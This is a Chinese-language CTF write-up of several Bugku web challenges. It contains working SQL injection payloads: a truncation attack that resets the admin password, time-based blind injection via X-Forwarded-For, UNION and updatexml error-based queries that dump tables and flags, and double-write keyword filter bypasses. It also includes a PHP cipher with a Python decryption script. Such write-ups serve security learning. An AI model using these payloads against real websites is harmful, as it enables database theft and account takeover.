bugku题目清扫

login1(SKCTF)

hint:SQL约束攻击

约束攻击
sql约束攻击
简单总结下,约束攻击的原理就是利用数据库字段的长度限制和‘在SQL中执行字符串处理时,字符串末尾的空格符将会被删除’这一特性,来以任意用户身份进行登录。

看题,一开始是个登陆界面

发现了注册账号的位置
我们就注册个admin【许多空格】1的账号来重置admin的密码吧

用账户admin和刚刚我们自己注册时候的密码登陆即可得到flag

INSERT INTO注入

题目直接给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

error_reporting(0);function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];}$host="localhost";
$user="";
$pass="";
$db="";$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");mysql_select_db($db) or die("Unable to select database");$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

首先,从题目和源码就能知道,这个题我们所注入的数据是存储在数据库中的
然后,我们的注入点应该在请求头里的x-fowarded-for
多次试验后发现,这应该是个盲注
burp抓包后将x-forwarded-for值改为’+sleep(6));#
脚本见时间盲注

这是一个神奇的登陆框

sql注入题
抓个包,在admin后面加单引号,不报错

加双引号,报错

接下来就是常规操作了

  • 爆数据库名
    1
    admin_name=1" union select database(),2%23&admin_passwd=1&submit=GO+GO+GO

得到bugkusql1

  • 爆表名
1
2
admin_name=1" union select (select table_name from information_schema.tables where table_schema=database() limit 0,1),2%23&admin_passwd=1&submit=GO+GO+GO
1

得到flag1

  • 爆列
    1
    admin_name=1" union select (select column_name from information_schema.columns where table_name='flag1'),2%23&admin_passwd=1&submit=GO+GO+GO

得到flag1

1
admin_name=1" union select (select flag1 from flag1),2%23&admin_passwd=1&submit=GO+GO+GO

得到ed6b28e684817d9efcaf802979e57aea

多次

又是一道sql注入题,学到了一个新的知识点,即如何确定某个字符是否被过滤了,即异或注入

什么是异或注入

异或是一种逻辑运算,其运算法则就是:两个条件同真同假时即为假(0),两个条件不同即为真(1),null与任何条件做异或运算结果都为null。
这样的话就可以用异或运算来判断某个字符是否被过滤
例如
id=1’^(length(‘union’)=5)#
当union被过滤时,进行的运算是1^0,输出id=1
没被过滤时,进行的运算是1^1,输出id=0
根据页面返回的结果即可判断某字符是否被过滤
但是还可以这么写
id=1’^(length(‘union’)=0)–+
这样的话就可以用burp爆破测试了,只需要更改union处的字符,如果被过滤了就应该是返回id=0的结果,没有则是id=1的结果

可以看出,过滤了select,union,and,or
发现双写可以绕过
接下来就是常规操作了

1
' uniunionon seleselectct 1,2--+

只有2会显示在网页上

1
%27%20uniunionon%20seleselectct%201,(seleselectct group_concat(table_name)from infoorrmation_schema.tables where table_schema=database())--+

表有flag1和hint两个

1
%27%20uniunionon%20seleselectct%201,(seleselectct%20group_concat(column_name)%20from%20infoorrmation_schema.columns%20where%20table_name=0x666C616731)--+

字段有flag1和address两个字段

1
%27%20uniunionon%20seleselectct%201,(selselectect%20flag1%20from%20flag1)--+

得到了usOwycTju+FTUUzXosjr

但是貌似不是flag
flag1表里还有一个address字段,再查一查吧
得到了下一关的入口
经过测试,过滤了union等字符,但是这里仍然会报错,所以可以使用报错注入

1
1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),null)--+

得到两个表

1
1%27%20and%20updatexml(1,concat(%27~%27,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x666C616732),%27~%27),null)--+

得到两个字段
爆出flag2和address来

这里得到一个flag,提交也成功了,但是题目中说有两个flag,再往下做做看看吧
一开始的注释里说是ip为1234才能打开网页,用xff伪造ip后又给提示说192.168.0.100才能访问
用00截断下,返回404错误。。。
是不是题坏了。。。
不会,放弃了

PHP_encrypt_1(ISCCCTF)

php解密
原加密函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>

解密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import base64
import hashlib

def decrypt(b64):
b64 = str(base64.b64decode(b64), encoding = 'utf8')#base64转换后是byte类型数据
key = b'ISCC'
m = hashlib.md5(key).hexdigest()
b64_len = len(b64)
x = 0
char = ''
for i in range(b64_len): #strlen($str)==strlen($char)==strlen($data)
if x == len(m):
x = 0
char += m[x]
x += 1
data = ''

#关于有取模运算加密时候的逆运算

for i in range(b64_len): #也可不进行正负判断:data += chr((ord(b64[i]) - ord(char[i])+128) % 128)
d = ord(b64[i]) - ord(char[i])
if d > 0: #进行判断,如果相减小于0,说明需要加上128
data += chr(d)
else:
data += chr(d + 128)
print(data)


decrypt('fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=')